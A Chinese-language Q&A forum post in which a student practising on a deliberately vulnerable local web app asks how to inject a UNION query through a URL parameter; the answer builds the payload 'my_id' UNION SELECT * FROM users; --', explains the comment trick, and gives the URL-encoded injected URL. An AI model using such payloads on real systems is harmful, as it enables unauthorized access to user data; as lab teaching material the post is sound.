sqlite 将SQL查询注入http URL

ej83mcc0  于 2023-06-30  发布在  SQLite
关注(0)|答案(1)|浏览(128)

我得到了一个任务,使SQL注入到一个假的网站,这是专为这一目的。我想知道如何将SQL查询注入URL。例如,

http://localhost:<>/vulnerabilities/webapi/users/<my suffix>/nickname?username=my_id

我有这个URL,我想注入UNION查询,我该怎么做?谢谢

p5cysglq

p5cysglq1#

让我们假设您的web查询将被翻译为

SELECT * FROM users WHERE username = 'my_id';

现在,诀窍是用恶意代码替换'my_id'。我假设UNION查询的目的是返回所有用户而不是一个用户。结果应为:

SELECT * FROM users WHERE username = 'my_id' UNION SELECT * FROM users; -- ';

也许原始查询有一个字段列表而不是*。然后,您必须在第二个查询中复制此列表。
现在必须输入my_id,而不是my_id

my_id' UNION SELECT * FROM users; --

请注意,我们使用引入注解的--来终止条目。查询机制将通过附加最后一个单引号(可能还有分号)来终止查询。现在它们将变成一个评论。
下一个问题是,我们如何正确地为URL转义它。使用在线工具Code Beautify, HTML Escape/Unescape,我们得到:

my_id%27%20UNION%20SELECT%20*%20FROM%20users%3B%20--

这给出了完整的URL:

http://localhost:<>/vulnerabilities/webapi/users//nickname?username=my_id%27%20UNION%20SELECT%20*%20FROM%20users%3B%20--

相关问题